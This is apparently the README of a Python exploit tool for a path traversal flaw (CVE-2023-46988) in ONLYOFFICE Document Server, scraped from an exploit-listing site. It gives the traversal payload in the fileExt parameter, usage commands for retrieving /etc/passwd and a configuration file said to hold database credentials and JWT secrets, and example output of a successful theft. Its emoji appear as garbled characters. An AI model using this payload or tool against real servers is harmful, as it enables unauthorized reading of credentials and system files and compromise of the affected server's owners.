## https://sploitus.com/exploit?id=6141DFA3-F052-587B-80F6-456890A1F8FA
# ONLYOFFICE Path Traversal Exploit (CVE-2023-46988)
## ๐ Overview
This script exploits a **path traversal vulnerability** in **ONLYOFFICE Document Server** (**CVE-2023-46988**) that allows unauthorized users to **copy arbitrary files** from the server. The vulnerability exists in the `/example/editor` endpoint, where the `fileExt` parameter can be manipulated to access sensitive system and configuration files.
## โ ๏ธ Disclaimer
This tool is for **educational and authorized security research purposes only**.
Unauthorized use against systems without **explicit permission** is illegal and unethical.
## ๐ Features
- Retrieve **default sensitive files**:
- `/etc/passwd`
- `/etc/onlyoffice/documentserver/local.json` (contains **database credentials & JWT secrets**)
- Specify **any file path** to retrieve with the `--file` argument.
- Supports **optional proxying** for Burp Suite interception (`--proxy`).
- Supports **optional SSL verification** (`--verify`).
- **Fixes encoding issues** when downloading files with special characters.
## ๐ Usage
### **1๏ธโฃ Basic Usage (Retrieve Default Files)**
```bash
python onlyoffice_exploit.py http://localhost
```
This retrieves:
- `/etc/passwd`
- `/etc/onlyoffice/documentserver/local.json`
### **2๏ธโฃ Retrieve a Custom File (e.g., `/etc/hosts`)**
```bash
python onlyoffice_exploit.py http://localhost --file /etc/hosts
```
### **3๏ธโฃ Enable Proxy (e.g., Burp Suite on `127.0.0.1:8080`)**
```bash
python onlyoffice_exploit.py http://localhost --proxy
```
```bash
python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080
```
### **4๏ธโฃ Enable SSL Verification**
```bash
python onlyoffice_exploit.py https://example.local --verify
```
### **5๏ธโฃ Combine Proxy & SSL Verification**
```bash
python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify
```
## ๐ How It Works
1. **Sends a request** to `/example/editor` with a malicious `fileExt` parameter:
```
GET /example/editor?fileExt=../../../../../../../../etc/passwd
```
2. **Extracts the redirect URL** from the response.
3. **Parses the redirected filename** from the response.
4. **Fixes encoding issues** for special characters in filenames.
5. **Downloads the file** from `/example/download?fileName=<extracted_filename>`.
## ๐ Example Output
```
[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd
```
## ๐ Mitigation
ONLYOFFICE has patched this vulnerability in their **February 2024 update**.
Users should **update to the latest version** to protect their servers.
## ๐ License
This project is licensed under the **MIT License** โ see the [LICENSE](LICENSE) file for details.